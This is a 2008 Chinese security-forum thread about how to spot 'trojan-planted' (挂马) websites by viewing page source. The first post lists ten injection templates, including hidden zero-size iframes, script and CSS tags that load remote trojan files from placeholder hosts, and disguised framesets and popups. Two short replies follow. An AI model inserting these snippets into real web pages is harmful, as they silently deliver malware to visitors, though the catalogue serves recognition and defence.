瑞星卡卡安全论坛

首页 » 技术交流区 » 系统软件 » 怎样判断网站是否被挂马
通明1 - 2008-8-16 14:41:00
大家好,网站挂马是现在流行的一种黑客获得肉鸡的一种方法,这种原理是在网站源程序中插入一段代码这段代码作用是当用户访问这个被挂马网页时这代码后台下载黑客制定服务器上的木马,然后后台运行来达到控制该计算机目的,所以危害黑大,下面我来说说怎样怎样发现该网站是否被挂马,查看是否被挂马方式很简单就是查看该主页的源代码就行了,查看源代码方法我会截图,IE右键,只要大家点击查看源文件就可以查看源代码了。
                    挂马代码大全

一:框架挂马

    <iframe src=地址 width=0 height=0></iframe>

二:js文件挂马
 
    首先将以下代码
    document.write("<iframe width='0' height='0' src='地址'></iframe>");
    保存为xxx.js,
    则JS挂马代码为
    <script language=javascript src=xxx.js></script>

三:js变形加密
 
    <SCRIPT language="JScript.Encode"          src=http://www.xxx.com/muma.txt></script>
    muma.txt可改成任意后缀
四:body挂马

    <body ></body>

五:隐蔽挂马

    top.document.body.innerHTML = top.document.body.innerHTML +    '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:css中挂马

    body {
    background-image: url('javascript:document.write("<script          src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

  <SCRIPT language=javascript>     
  window.open  ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro  llbars=no,width=1,height=1"); 
  </script>

八:图片伪装

  <html>
  <iframe src="网马地址" height=0 width=0></iframe>
  <img src="图片地址"></center>
  </html>

九:伪装调用:

    <frameset rows="444,0" cols="*">
    <frame src="打开网页" framborder="no" scrolling="auto" noresize    marginwidth="0"margingheight="0">
    <frame src="网马地址" frameborder="no" scrolling="no"    noresize    marginwidth="0"margingheight="0">
    </frameset>

十:高级欺骗

    <a href="www.baidu.com(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
                                                                    谢谢观看

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; WPS; TheWorld)
A小可 - 2008-8-16 14:59:00
汗,给谁看的啊,研究这个的肯定都知道,求助新手肯定不会看~你给谁看的打算?
tjcum210210 - 2008-8-16 15:10:00
呵呵,大家都学习一下
1
查看完整版本: 怎样判断网站是否被挂马